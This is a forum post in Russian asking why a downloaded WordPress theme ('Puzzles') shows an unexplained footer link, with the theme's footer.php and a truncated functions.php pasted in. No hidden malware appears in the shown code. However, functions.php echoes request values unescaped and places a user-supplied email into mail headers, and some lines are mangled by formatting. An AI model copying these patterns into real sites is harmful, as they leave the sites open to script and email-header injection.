01. Проблемы и решения с WordPress

Что-то не работает? Сайт не загружается? Сломалось. Пиши сюда.

Убрать рекламу.

Всем привет. Если не сложно помогите плз. Сам уже замучился. Скачал красивый шаблон под названием "Puzzles".
Начал под себя настраивать, но потом заметил проблему. В самом низу сайта на всех страницах надпись wordpress а при нажатие на неё переходишь на какой-то сайт =(
Вот ссылка ( не сочтите за рекламу, там даже нечего нету=) ): http://gamepie.besaba.com/
Лазил по footer.php и по functions.php , но нечего не нашёл.
Вот код из footer.php :
[code- <?php
/**

  • The template for displaying the footer.
  • @package puzzles

*/
?>
</div><!– #main –>

<footer id="footer" class="site_footer" role="contentinfo">
<?php if (get_custom_option(‘show_sidebar_advert’) == ‘yes’ ) { ?>
<div id="advert" class="site_advert">
<div id="advert_sidebar" class="widget_area sidebar_advert theme_<?php echo get_custom_option(‘sidebar_advert_theme’); ?>" role="complementary">
<div id="advert_sidebar_inner">
<?php do_action( ‘before_sidebar’ ); ?>
<?php if ( ! dynamic_sidebar( get_custom_option(‘sidebar_advert’) ) ) { ?>
<?php // Put here html if user no set widgets in sidebar ?>
<?php } // end sidebar widget area ?>
</div>
</div>
</div>
<?php } ?>

<?php if (get_custom_option(‘show_sidebar_footer’) == ‘yes’ ) { ?>
<div id="footer_sidebar" class="widget_area sidebar_footer theme_<?php echo get_custom_option(‘sidebar_footer_theme’); ?> theme_article" role="complementary">
<div id="footer_sidebar_inner">
<?php do_action( ‘before_sidebar’ ); ?>
<?php if ( ! dynamic_sidebar( get_custom_option(‘sidebar_footer’) ) ) { ?>
<?php // Put here html if user no set widgets in sidebar ?>
<?php } // end sidebar widget area ?>
</div>
</div>

<div id="footer_copyright" class="theme_<?php echo get_custom_option(‘sidebar_footer_theme’); ?> theme_article">
<div id="footer_copyright_inner" class="theme_text">

<?php
echo get_theme_option(‘footer_copyright’)
?>
</div>
</div>
<?php } ?>
</footer>

</div><!– #page –>

<a href="#" id="toTop" class="theme_button icon-up-open-big"></a>

<div id="popup_login" class="popup_form">
<div class="popup_body theme_article">
<h4 class="popup_title"><?php _e(‘Login’, ‘themerex’); ?></h4>
<form action="<?php echo wp_login_url(); ?>" method="post" name="login_form">
<input type="hidden" name="redirect_to" value="<?php echo home_url(); ?>"/>
<div class="popup_field"><input type="text" name="log" id="log" placeholder="<?php _e(‘Login*’, ‘themerex’); ?>" /></div>
<div class="popup_field"><input type="password" name="pwd" id="pwd" placeholder="<?php _e(‘Password*’, ‘themerex’); ?>" /></div>
<div class="popup_field popup_button"><a href="#" class="theme_button"><?php _e(‘Login’, ‘themerex’); ?></a></div>
<div class="popup_field forgot_password">
<a href="<?php echo wp_lostpassword_url( get_permalink() ); ?>"><?php _e(‘Forgot password?’, ‘themerex’); ?></a>
</div>
<div class="popup_field register">
<a href="#"><?php _e(‘Register’, ‘themerex’); ?></a>
</div>
<div class="result sc_infobox"></div>
</form>
</div>
</div>

<div id="popup_register" class="popup_form">
<div class="popup_body theme_article">
<h4 class="popup_title"><?php _e(‘Registration’, ‘themerex’); ?></h4>
<form action="#" method="post" name="register_form">
<input type="hidden" name="redirect_to" value="<?php echo home_url(); ?>"/>
<div class="popup_field"><input type="text" name="registration_username" id="registration_username" placeholder="<?php _e(‘Your name (login)*’, ‘themerex’); ?>" /></div>
<div class="popup_field"><input type="text" name="registration_email" id="registration_email" placeholder="<?php _e(‘Your email*’, ‘themerex’); ?>" /></div>
<div class="popup_field"><input type="password" name="registration_pwd" id="registration_pwd" placeholder="<?php _e(‘Your Password*’, ‘themerex’); ?>" /></div>
<div class="popup_field"><input type="password" name="registration_pwd2" id="registration_pwd2" placeholder="<?php _e(‘Confirm Password*’, ‘themerex’); ?>" /></div>
<div class="popup_field theme_info registration_role"><p><?php _e(‘Desired role:’,’themerex’); ?></p>
<input type="radio" name="registration_role" id="registration_role1" value="1" checked="checked" /><label for="registration_role1"><?php _e(‘Subscriber’, ‘themerex’); ?></label>
<input type="radio" name="registration_role" id="registration_role2" value="2" /><label for="registration_role2"><?php _e(‘Author’, ‘themerex’); ?></label>
</div>
<div class="popup_field registration_msg_area"><textarea name="registration_msg" id="registration_msg" placeholder="<?php _e(‘Your message’, ‘themerex’); ?>"></textarea></div>
<div class="popup_field popup_button"><a href="#" class="theme_button"><?php _e(‘Register’, ‘themerex’); ?></a></div>
<div class="result sc_infobox"></div>
</form>
</div>
</div>

<?php
if (get_theme_option(‘show_theme_customizer’) == ‘yes’) {
$theme_color = get_custom_option(‘theme_color’);
$body_style = get_custom_option(‘body_style’);
$bg_color = get_custom_option(‘bg_color’);
$bg_pattern = get_custom_option(‘bg_pattern’);
$bg_image = get_custom_option(‘bg_image’);
?>
<div id="custom_options">
<div class="co_header">
<a href="#" id="co_toggle" class="icon-cog"></a>
<div class="co_title_wrapper"><h4 class="co_title"><?php _e(‘Choose Your Style’, ‘themerex’); ?></h4></div>
</div>
<div class="co_options">
<form name="co_form">
<input type="hidden" id="co_site_url" name="co_site_url" value="<?php echo ‘http://’ . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?>" />
<div class="co_form_row">
<input type="hidden" name="co_body_style" value="<?php echo $body_style; ?>" />
<span class="co_label"><?php _e(‘Background:’, ‘themerex’); ?></span>
<div class="co_switch_box">
<a href="#" class="stretched"><?php _e(‘Stretched’, ‘themerex’); ?></a>
<div class="switcher"><a href="#"></a></div>
<a href="#" class="boxed"><?php _e(‘Boxed’, ‘themerex’); ?></a>
</div>
<?php if ($body_style == ‘boxed’) { ?>
<script type="text/javascript">
jQuery(document).ready(function() {
var box = jQuery(‘#custom_options .switcher’);
var switcher = box.find(‘a’).eq(0);
var right = box.width() – switcher.width() + 2;
switcher.css({left: right});
});
</script>
<?php } ?>
</div>
<div class="co_form_row">
<input type="hidden" name="co_bg_color" value="<?php echo $bg_color; ?>" />
<span class="co_label"><?php _e(‘Background color:’, ‘themerex’); ?></span>
<div id="co_bg_color" class="iColorPicker"></div>
</div>
<div class="co_form_row">
<input type="hidden" name="co_bg_pattern" value="<?php echo $bg_pattern; ?>" />
<span class="co_label"><?php _e(‘Background pattern:’, ‘themerex’); ?></span>
<div id="co_bg_pattern_list">
<a href="#" id="pattern_1" class="co_pattern_wrapper<?php echo $bg_pattern==1 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/pattern_1.png" /></a>
<a href="#" id="pattern_2" class="co_pattern_wrapper<?php echo $bg_pattern==2 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/pattern_2.png" /></a>
<a href="#" id="pattern_3" class="co_pattern_wrapper<?php echo $bg_pattern==3 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/pattern_3.png" /></a>
<a href="#" id="pattern_4" class="co_pattern_wrapper<?php echo $bg_pattern==4 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/pattern_4.png" /></a>
<a href="#" id="pattern_5" class="co_pattern_wrapper<?php echo $bg_pattern==5 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/pattern_5.png" /></a>
</div>
</div>
<div class="co_form_row">
<input type="hidden" name="co_bg_image" value="<?php echo $bg_image; ?>" />
<span class="co_label"><?php _e(‘Background image:’, ‘themerex’); ?></span>
<div id="co_bg_images_list">
<a href="#" id="image_1" class="co_image_wrapper<?php echo $bg_image==1 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/image_1_thumb.jpg" /></a>
<a href="#" id="image_2" class="co_image_wrapper<?php echo $bg_image==2 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/image_2_thumb.jpg" /></a>
<a href="#" id="image_3" class="co_image_wrapper<?php echo $bg_image==3 ? ‘ current’ : ” ; ?>"><img src="<?php echo get_template_directory_uri(); ?>/images/bg/image_3_thumb.jpg" /></a>
</div>
</div>
</form>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function(){
// Theme & Background color
jQuery(‘#co_theme_color’).css(‘backgroundColor’, ‘<?php echo $theme_color; ?>’);
jQuery(‘#co_bg_color’).css(‘backgroundColor’, ‘<?php echo $bg_color; ?>’);
});
</script>
</div>
</div>
<?php
}

?>

<script type="text/javascript">
jQuery(document).ready(function() {
<?php
// Reject old browsers
global $THEMEREX_jreject;
if ($THEMEREX_jreject) {
?>
jQuery.reject({
reject : {
all: false, // Nothing blocked
msie5: true, msie6: true, msie7: true, msie8: true // Covers MSIE 5-8
/*
* Possibilities are endless…
*
* // MSIE Flags (Global, 5-8)
* msie, msie5, msie6, msie7, msie8,
* // Firefox Flags (Global, 1-3)
* firefox, firefox1, firefox2, firefox3,
* // Konqueror Flags (Global, 1-3)
* konqueror, konqueror1, konqueror2, konqueror3,
* // Chrome Flags (Global, 1-4)
* chrome, chrome1, chrome2, chrome3, chrome4,
* // Safari Flags (Global, 1-4)
* safari, safari2, safari3, safari4,
* // Opera Flags (Global, 7-10)
* opera, opera7, opera8, opera9, opera10,
* // Rendering Engines (Gecko, Webkit, Trident, KHTML, Presto)
* gecko, webkit, trident, khtml, presto,
* // Operating Systems (Win, Mac, Linux, Solaris, iPhone)
* win, mac, linux, solaris, iphone,
* unknown // Unknown covers everything else
*/
},
imagePath: "<?php echo get_template_directory_uri(); ?>/js/jreject/images/",
header: "<?php _e(‘Your browser is out of date’, ‘themerex’); ?>", // Header Text
paragraph1: "<?php _e(‘You are currently using an unsupported browser’, ‘themerex’); ?>", // Paragraph 1
paragraph2: "<?php _e(‘Please install one of the many optional browsers below to proceed’, ‘themerex’); ?>",
closeMessage: "<?php _e(‘Close this window at your own demise!’, ‘themerex’); ?>" // Message below close window link
});
<?php
}
?>
});

// Main menu settings
var THEMEREX_mainMenuFixed = <?php echo get_theme_option(‘menu_position’)==’fixed’ ? ‘true’ : ‘false’; ?>;
var THEMEREX_mainMenuMobile = <?php echo get_theme_option(‘responsive_layouts’)==’yes’ ? ‘true’ : ‘false’; ?>;
var THEMEREX_mainMenuSlider = <?php echo get_theme_option(‘menu_slider’)==’yes’ ? ‘true’ : ‘false’; ?>;

// Video and Audio tag wrapper
var THEMEREX_useMediaElement = <?php echo get_theme_option(‘use_mediaelement’)==’yes’ ? ‘true’ : ‘false’; ?>;

// Puzzles animations
var THEMEREX_puzzlesAnimations = <?php echo get_theme_option(‘puzzles_animations’)==’yes’ ? ‘true’ : ‘false’; ?>;

// Javascript String constants for translation
THEMEREX_GLOBAL_ERROR_TEXT = "<?php _e(‘Global error text’, ‘wspace’); ?>";
THEMEREX_NAME_EMPTY = "<?php _e(‘The name can\’t be empty’, ‘wspace’); ?>";
THEMEREX_NAME_LONG = "<?php _e(‘Too long name’, ‘wspace’); ?>";
THEMEREX_EMAIL_EMPTY = "<?php _e(‘Too short (or empty) email address’, ‘wspace’); ?>";
THEMEREX_EMAIL_LONG = "<?php _e(‘Too long email address’, ‘wspace’); ?>";
THEMEREX_EMAIL_NOT_VALID = "<?php _e(‘Invalid email address’, ‘wspace’); ?>";
THEMEREX_MESSAGE_EMPTY = "<?php _e(‘The message text can\’t be empty’, ‘wspace’); ?>";
THEMEREX_MESSAGE_LONG = "<?php _e(‘Too long message text’, ‘wspace’); ?>";
THEMEREX_SEND_COMPLETE = "<?php _e("Send message complete!", ‘wspace’); ?>";
THEMEREX_SEND_ERROR = "<?php _e("Transmit failed!", ‘wspace’); ?>";
THEMEREX_LOGIN_EMPTY = "<?php _e("The Login field can’t be empty", ‘themerex’); ?>";
THEMEREX_LOGIN_LONG = "<?php _e(‘Too long login field’, ‘themerex’); ?>";
THEMEREX_PASSWORD_EMPTY = "<?php _e("The password can’t be empty and shorter then 5 characters", ‘themerex’); ?>";
THEMEREX_PASSWORD_LONG = "<?php _e(‘Too long password’, ‘themerex’); ?>";
THEMEREX_PASSWORD_NOT_EQUAL = "<?php _e(‘The passwords in both fields are not equal’, ‘themerex’); ?>";
THEMEREX_REGISTRATION_SUCCESS= "<?php _e(‘Registration success! Please log in!’, ‘themerex’); ?>";
THEMEREX_REGISTRATION_FAILED= "<?php _e(‘Registration failed!’, ‘themerex’); ?>";
THEMEREX_REGISTRATION_AUTHOR= "<?php _e(‘Your account is waiting for the site admin moderation!’, ‘themerex’); ?>";
THEMEREX_GEOCODE_ERROR = "<?php _e("Geocode was not successful for the following reason:", ‘wspace’); ?>";
THEMEREX_GOOGLE_MAP_NOT_AVAIL="<?php _e("Google map API not available!", ‘themerex’); ?>";
THEMEREX_NAVIGATE_TO = "<?php _e("Navigate to…", ‘themerex’); ?>";

// AJAX parameters
<?php global $THEMEREX_ajax_url, $THEMEREX_ajax_nonce; ?>
var THEMEREX_ajax_url = "<?php echo $THEMEREX_ajax_url; ?>";
var THEMEREX_ajax_nonce = "<?php echo $THEMEREX_ajax_nonce; ?>";

</script>

<?php wp_footer(); ?>

</body>
</html>[/code]
А вот код из functions.php :

<?php
/**
 * Norma theme functions and definitions
 *
 * @package puzzles
 */

/**
 * Make theme available for translation
 * Translations can be filed in the /languages/ directory
 */
load_theme_textdomain( 'themerex', get_template_directory() . '/languages' );

/**
 * Set the content width based on the theme's design and stylesheet.
 */
if ( ! isset( $content_width ) )
    $content_width = 1320; /* pixels */


add_action( 'after_setup_theme', 'theme_setup' );
function theme_setup() {
    /**
     * WP core supports
     */
    // Add default posts and comments RSS feed links to head 
    add_theme_support( 'automatic-feed-links' );
    // Enable support for Post Thumbnails
    add_theme_support( 'post-thumbnails' );
    // Custom header setup
    add_theme_support( 'custom-header', array('header-text'=>false));
    // Custom backgrounds setup
    add_theme_support( 'custom-background');
    // Supported posts formats
    add_theme_support( 'post-formats', array('gallery', 'video', 'audio', 'link', 'quote', 'image') ); 
    // Add user menu
    add_theme_support('nav-menus');
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
                'mainmenu' => 'Main Menu'
            )
        );
    }
    // Editor custom stylesheet - for user
    add_editor_style('css/editor-style.css');    
}


// TinyMCE styles selector 
/*
add_filter('tiny_mce_before_init', 'theme_mce_add_styles');
function theme_mce_add_styles($init) {
    $init['theme_advanced_buttons2_add'] = 'styleselect';
    $init['theme_advanced_styles'] = 
          'Titles (underline)=sc_title'
    ;
    return $init;
}
*/
/*
// TinyMCE add buttons
add_filter( 'mce_buttons', 'theme_mce_buttons' );
function theme_mce_buttons($arr) {
    return array('bold', 'italic', '|', 'bullist', 'numlist', '|', 'formatselect', 'styleselect', '|', 'link', 'unlink' );
}
*/

/**
 * Register widgetized area and update sidebar with default widgets
 */
add_action( 'widgets_init', 'theme_widgets_init' );
function theme_widgets_init() {
    if ( function_exists('register_sidebar') ) {
        register_sidebar( array(
            'name'          => __( 'Main Sidebar', 'themerex' ),
            'id'            => 'sidebar-main',
            'before_widget' => '<aside id="%1$s" class="widget %2$s">',
            'after_widget'  => '</aside>',
            'before_title'  => '<h3 class="widget_title theme_title">',
            'after_title'   => '</h3>',
        ) );
        register_sidebar( array(
            'name'          => __( 'Advertisement Sidebar', 'themerex' ),
            'id'            => 'sidebar-advert',
            'before_widget' => '<aside id="%1$s" class="widget %2$s">',
            'after_widget'  => '</aside>',
            'before_title'  => '<h3 class="widget_title theme_title">',
            'after_title'   => '</h3>',
        ) );
        register_sidebar( array(
            'name'          => __( 'Footer Sidebar', 'themerex' ),
            'id'            => 'sidebar-footer',
            'before_widget' => '<aside id="%1$s" class="widget %2$s">',
            'after_widget'  => '</aside>',
            'before_title'  => '<h3 class="widget_title theme_title">',
            'after_title'   => '</h3>',
        ) );
        // Custom sidebars
        $sidebars = explode(',', get_theme_option('custom_sidebars'));
        for ($i=0; $i<count($sidebars); $i++) {
            if (trim(chop($sidebars[$i]))=='') continue;
            $sb = explode('|', $sidebars[$i]);
            if (count($sb)==1) $sb[1] = $i+1;
            register_sidebar( array(
                'name'          => $sb[0],
                'id'            => 'custom-sidebar-'.$sb[1],
                'before_widget' => '<aside id="%1$s" class="widget %2$s">',
                'after_widget'  => '</aside>',
                'before_title'  => '<h3 class="widget_title theme_title">',
                'after_title'   => '</h3>',
            ) );        
        }
    }
}


/**
 * Enqueue scripts and styles
 */
add_action( 'wp_enqueue_scripts', 'theme_scripts' );
function theme_scripts() {
    //Enqueue styles
    $font = get_custom_option('theme_font');
    $fonts = getFontsList(false);
    if (isset($fonts[$font])) {
        $font_link = $fonts[$font]['link'];
    } else {
        $font_link = "Oxygen:400,700";
    }
    wp_enqueue_style( 'theme-font', 'http://fonts.googleapis.com/css?family='.$font_link.'&subset=latin,cyrillic-ext,latin-ext,cyrillic' );
    wp_enqueue_style( 'main-style', get_stylesheet_uri() );
    $themes = array();
    $themes[get_custom_option('blog_theme')] = 1;
    $themes[get_custom_option('sidebar_main_theme')] = 1;
    $themes[get_custom_option('sidebar_advert_theme')] = 1;
    $themes[get_custom_option('sidebar_footer_theme')] = 1;
    foreach($themes as $style=>$v) {
        wp_enqueue_style( 'theme-'.$style,  esc_url(get_template_directory_uri() . '/css/themes/'.$style.'.css') );
    }
    wp_enqueue_style( 'shortcodes',  get_template_directory_uri() . '/css/shortcodes.css' );
    wp_add_inline_style( 'shortcodes', prepareThemeCustomStyles() );
    if (get_theme_option('responsive_layouts') == 'yes') {
        wp_enqueue_style( 'responsive',  get_template_directory_uri() . '/css/responsive.css' );
    }
    // Loads the Internet Explorer specific stylesheet.
    wp_enqueue_style( 'puzzles-ie', get_template_directory_uri() . '/css/ie.css', array( 'main-style' ), '2013-10-01' );
    wp_style_add_data( 'puzzles-ie', 'conditional', 'lt IE 10' );

    wp_enqueue_script( 'jquery' );
    wp_enqueue_script( 'jquery-cookie', get_template_directory_uri().'/js/jquery.cookie.js', array('jquery'), '1.0.0', true);
    wp_enqueue_script( 'jquery-easing', get_template_directory_uri().'/js/jquery.easing.js', array('jquery'), '1.0.0', true );

    wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array('jquery'), '1.0', true );
    if (get_theme_option('responsive_layouts')=='yes') {
        wp_enqueue_script( 'mobilemenu', get_template_directory_uri().'/js/jquery.mobilemenu.min.js', array('jquery'), '1.0.0', true );
    }
    if (get_theme_option('menu_slider')=='yes') {
        wp_enqueue_script( 'slidemenu', get_template_directory_uri().'/js/jquery.slidemenu.js', array('jquery'), '1.0.0', true );
    }

    wp_enqueue_script( 'skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', false, '20130115', true );

    wp_enqueue_script( '_utils', get_template_directory_uri() . '/js/_utils.js', array(), '1.0.0', true );
    wp_enqueue_script( '_front', get_template_directory_uri() . '/js/_front.js', array(), '1.0.0', true );    
    wp_enqueue_script( '_reviews', get_template_directory_uri() . '/js/_reviews.js', array('jquery'), '1.0.0', true );

    wp_enqueue_style(  'prettyphoto-style', get_template_directory_uri() . '/js/prettyphoto/css/prettyPhoto.css' );
    wp_enqueue_script( 'prettyphoto', get_template_directory_uri() . '/js/prettyphoto/jquery.prettyPhoto.js', array('jquery'), '3.1.5', true );

    wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/js/jquery.flexslider.min.js', array('jquery'), '2.1', true );

    if (get_theme_option('use_mediaelement')=='yes') {
        wp_enqueue_style(  'mediaplayer-style',  get_template_directory_uri() . '/js/mediaplayer/mediaelementplayer.css' );
        wp_enqueue_script( 'mediaplayer', get_template_directory_uri() . '/js/mediaplayer/mediaelement-and-player.min.js', false, '1.0.0', true );
    }

    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }

    if (get_theme_option('show_theme_customizer') == 'yes') {
        wp_enqueue_script('jquery-ui-draggable');
    }
}

require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

require_once( get_template_directory() . '/includes/_debug.php' );

require_once( get_template_directory() . '/includes/_utils.php' );
require_once( get_template_directory() . '/includes/_wp_utils.php' );

require_once( get_template_directory() . '/admin/theme-settings.php' );

require_once( get_template_directory() . '/includes/theme-customizer.php' );

require_once( get_template_directory() . '/includes/aq_resizer.php' );

require_once( get_template_directory() . '/includes/type-category.php' );
require_once( get_template_directory() . '/includes/type-post.php' );
require_once( get_template_directory() . '/includes/type-page.php' );

require_once( get_template_directory() . '/includes/shortcodes.php' );
require_once( get_template_directory() . '/includes/wp-pagenavi.php' );

require_once( get_template_directory() . '/includes/update-notifier.php' );

require_once( get_template_directory() . '/widgets/widget-top10.php' );
require_once( get_template_directory() . '/widgets/widget-popular-posts.php' );
require_once( get_template_directory() . '/widgets/widget-recent-posts.php' );
require_once( get_template_directory() . '/widgets/widget-recent-reviews.php' );
require_once( get_template_directory() . '/widgets/widget-advert.php' );
require_once( get_template_directory() . '/widgets/widget-flickr.php' );
require_once( get_template_directory() . '/widgets/qrcode/widget-qrcode.php' );
require_once( get_template_directory() . '/widgets/widget-socials.php' );
/*
require_once( get_template_directory() . '/widgets/widget-twitter.php' );
require_once( get_template_directory() . '/widgets/widget-contact-form.php' );
*/



// Admin side setup
if (is_admin()) {
    add_action('admin_head', 'admin_theme_setup');
    function admin_theme_setup(){
        wp_enqueue_script('jquery');
        wp_enqueue_script('jquery-ui-tabs');
        wp_enqueue_script( 'jquery-cookie', get_template_directory_uri().'/js/jquery.cookie.js', array('jquery'), '1.0.0', true);

        wp_enqueue_style(  'wp-color-picker' );
        wp_enqueue_script( 'wp-color-picker' );

        wp_enqueue_style(  'theme-admin-style',  get_template_directory_uri() . '/css/admin-style.css' );
    
        wp_enqueue_script( '_utils', get_template_directory_uri() . '/js/_utils.js', array(), '1.0.0', true );
        wp_enqueue_script( '_reviews', get_template_directory_uri() . '/js/_reviews.js', array('jquery'), '1.0.0', true );
    }


    // Add categories (taxonomies) filter for custom posts types
    add_action( 'restrict_manage_posts', 'admin_taxonomy_filter' );
    function admin_taxonomy_filter() {
        global $typenow;
        if (get_theme_option('admin_add_filters')!='yes' || $typenow != 'post') return;
        $taxes = array('post_format', 'post_tag');
        foreach ($taxes as $tax) {
            $tax_obj = get_taxonomy($tax);
            $terms = getTaxonomiesByPostType(array($typenow), array($tax));
            if (count($terms) > 0) {
                $tax_name = my_strtolower($tax_obj->labels->name);
                $tax = str_replace(array('post_tag'), array('tag'), $tax);
                echo "<select name='$tax' id='$tax' class='postform'>";
                echo "<option value=''>All $tax_name</option>";
                foreach ($terms as $term) {
                    $slug = is_object($term) ? $term->slug : $term['slug'];
                    $name = is_object($term) ? $term->name : $term['name'];
                    $count = is_object($term) ? $term->count : $term['count'];
                    echo '<option value='. $slug . ($_GET[$tax] == $slug ? ' selected="selected"' : '') . '>' . str_replace(array('post-format-'), array(''), $name) . ' (' . $count .')</option>'; 
                }
                echo "</select>";
            }
        }
    }

    require_once( get_template_directory() . '/admin/theme-options.php' );
}




/* ========================= Filters and action handlers ============================== */

/* PRE_QUERY - add filter to main query */
add_filter('posts_where', 'filter_where');  
function filter_where($where = '') { 
    global $wpdb; 
    if (is_admin()) return $where;
    // Disable posts with future date
    //$where .= " AND ({$wpdb->posts}.post_date <= '" . date('Y-m-d 23:59:59') . "' OR {$wpdb->posts}.post_date_gmt <= '" . date('Y-m-d 23:59:59') . "')";
    if (my_strpos($where, 'post_status')===false) $where .= " AND {$wpdb->posts}.post_status='publish'";
    return $where;  
}  

/* PRE QUERY - posts per page selector */
add_action( 'pre_get_posts', 'posts_per_page_selector' );
function posts_per_page_selector($query) {
    if (is_admin() || !$query->is_main_query()) return;
    // Set posts per page
    $ppp = (int) get_theme_option('posts_per_page');
    $ppp2 = 0;
    if ( $query->is_category() ) {
        $cat = (int) $query->get('cat');
        if (empty($cat))
            $cat = $query->get('category_name');
        if (!empty($cat))
            $ppp2 = (int) getCategoryInheritedProperty($cat, 'posts_per_page', 0);
    } else {
        if ($query->is_archive())            $page_id = getTemplatePageId('archive');
        else if ($query->is_search())        $page_id = getTemplatePageId('search');
        else if ($query->is_posts_page==1)    $page_id = $query->queried_object_id;    //getTemplatePageId('template-blog');
        else                                $page_id = 0;
        if ($page_id > 0) {
            $post_options = get_post_meta($page_id, 'post_custom_options', true);
            if (isset($post_options['posts_per_page']) )
                $ppp2 = (int) $post_options['posts_per_page'];
        }
    }
    if ($ppp2 > 0)    $ppp = $ppp2;
    if ($ppp > 0)     $query->set('posts_per_page', $ppp );
    // Exclude categories
    $ex = get_theme_option('exclude_cats');
    if (!empty($ex))
        $query->set('category__not_in', explode(',', $ex) );
}

/* Filter categories list */
add_action( 'widget_categories_args', 'categories_args_filter' );
add_action( 'widget_categories_dropdown_args', 'categories_args_filter' );
function categories_args_filter($args) {
    $ex = get_theme_option('exclude_cats');
    if (!empty($ex)) {
        $args['exclude'] = $ex;
    }
    return $args;
}

/* Exclude post from categories */
add_action( 'widget_posts_args', 'posts_args_filter' );
function posts_args_filter($args) {
    $ex = get_theme_option('exclude_cats');
    if (!empty($ex)) {
        $args['category__not_in'] = explode(',', $ex);
    }
    return $args;
}

add_filter( 'widget_text', 'widget_text_filter' );
function widget_text_filter( $text ){
    if (get_custom_option('substitute_gallery')=='yes') {
        $text = substituteGallery($text, 0, 275, 200);
    }
    $text = do_shortcode($text);
    if (get_custom_option('substitute_video')=='yes') {
        $text = substituteVideo($text, 275, 200);
    }
    if (get_custom_option('substitute_audio')=='yes') {
        $text = substituteAudio($text);
    }
    return $text;    
}

// Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
add_filter( 'wp_page_menu_args', '_wp_utils_page_menu_args' );
function _wp_utils_page_menu_args( $args ) {
    $args['show_home'] = true;
    return $args;
}


// Adds custom classes to the array of body classes.
add_filter( 'body_class', '_wp_utils_body_classes' );
function _wp_utils_body_classes( $classes ) {
    // Adds a class of group-blog to blogs with more than 1 published author
    if ( is_multi_author() ) {
        $classes 
= 'group-blog'; } return $classes; } // Filters wp_title to print a neat <title> tag based on what is being viewed. add_filter( 'wp_title', '_wp_utils_wp_title', 10, 2 ); function _wp_utils_wp_title( $title, $sep ) { global $page, $paged; if ( is_feed() ) return $title; // Add the blog name $title .= get_bloginfo( 'name' ); // Add the blog description for the home/front page. $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) $title .= " $sep $site_description"; // Add a page number if necessary: if ( $paged >= 2 || $page >= 2 ) $title .= " $sep " . sprintf( __( 'Page %s', 'themerex' ), max( $paged, $page ) ); return $title; } // Add class "widget-number-#' for each widget add_filter('dynamic_sidebar_params', '_wp_utils_add_widget_number', 10, 1); function _wp_utils_add_widget_number($prm) { if (is_admin()) return $prm; static $num=0, $last_id=''; if ($last_id != $prm[0- ['id']) { $num = 0; $last_id = $prm[0]['id']; } $num++; $prm[0]['before_widget'] = str_replace(' class="', ' class="widget-number-'.$num.' ', $prm[0]['before_widget']); return $prm; } // Add main menu classes add_filter('wp_nav_menu_objects', '_wp_utils_nav_menu_classes', 10, 2); function _wp_utils_nav_menu_classes($items, $args) { if (is_admin()) return $items; if ($args->menu_id == 'mainmenu' && get_theme_option('menu_colored')=='yes') { foreach($items as $k=>$item) { if ($item->menu_item_parent==0) { if ($item->type=='taxonomy' && $item->object=='category') { $cur_theme = getCategoryInheritedProperty($item->object_id, 'blog_theme'); if (!empty($cur_theme) && $cur_theme!='default') $items[$k]->classes
= 'theme_'.$cur_theme; } } } } return $items; } /* ========================= AJAX queries section ============================== */ // Get attachment url add_action('wp_ajax_get_attachment_url', 'get_attachment_url_callback'); add_action('wp_ajax_nopriv_get_attachment_url', 'get_attachment_url_callback'); function get_attachment_url_callback() { global $_REQUEST; if ( !wp_verify_nonce( $_REQUEST['nonce'- , 'ajax_nonce' ) ) die(); $response = array('error'=>''); $id = (int) $_REQUEST['attachment_id']; $response['data'] = wp_get_attachment_url($id); echo json_encode($response); die(); } // Send contact form data add_action('wp_ajax_send_contact_form', 'send_contact_form_callback'); add_action('wp_ajax_nopriv_send_contact_form', 'send_contact_form_callback'); function send_contact_form_callback() { global $_REQUEST; if ( !wp_verify_nonce( $_REQUEST['nonce'], 'ajax_nonce' ) ) die(); $response = array('error'=>''); $user_name = my_substr($_REQUEST['user_name'], 0, 20); $user_email = my_substr($_REQUEST['user_email'], 0, 60); $user_msg = getShortString($_REQUEST['user_msg'], 300); if (!($contact_email = get_theme_option('admin_email'))) $response['error'] = __('Unknown admin email!', 'themerex'); else { $subj = sprintf(__('Site %s - Contact form message from %s', 'themerex'), get_bloginfo('site_name'), $user_name); $msg = " ".__('Name:', 'themerex')." $user_name ".__('E-mail:', 'themerex')." $user_email ".__('Message:', 'themerex')." $user_msg ............ " . get_bloginfo('site_name') . " (" . home_url() . ") ............"; $head = "Content-Type: text/plain; charset=\"utf-8\"\n" . "X-Mailer: PHP/" . phpversion() . "\n" . "Reply-To: $user_email\n" . "To: $contact_email\n" . "From: $user_email\n" . "Subject: $subj\n"; if (!mail($contact_email, $subj, $msg, $head)) { $response['error'] = __('Error send message!', 'themerex'); } echo json_encode($response); die(); } } // Check categories for portfolio style add_action('wp_ajax_check_reviews_criterias', 'check_reviews_criterias_callback'); add_action('wp_ajax_nopriv_check_reviews_criterias', 'check_reviews_criterias_callback'); function check_reviews_criterias_callback() { global $_REQUEST; if ( !wp_verify_nonce( $_REQUEST['nonce'], 'ajax_nonce' ) ) die(); $response = array('error'=>'', 'criterias' => ''); $ids = explode(',', $_REQUEST['ids']); if (count($ids) > 0) { foreach ($ids as $id) { $id = (int) $id; $prop = getCategoryInheritedProperty($id, 'reviews_criterias'); if (!empty($prop) && $prop!='default' && my_substr(trim($prop), 0, 1)!='|') { $response['criterias'] = $prop; break; } } } echo json_encode($response); die(); } // Check categories for portfolio style add_action('wp_ajax_reviews_users_accept', 'reviews_users_accept_callback'); add_action('wp_ajax_nopriv_reviews_users_accept', 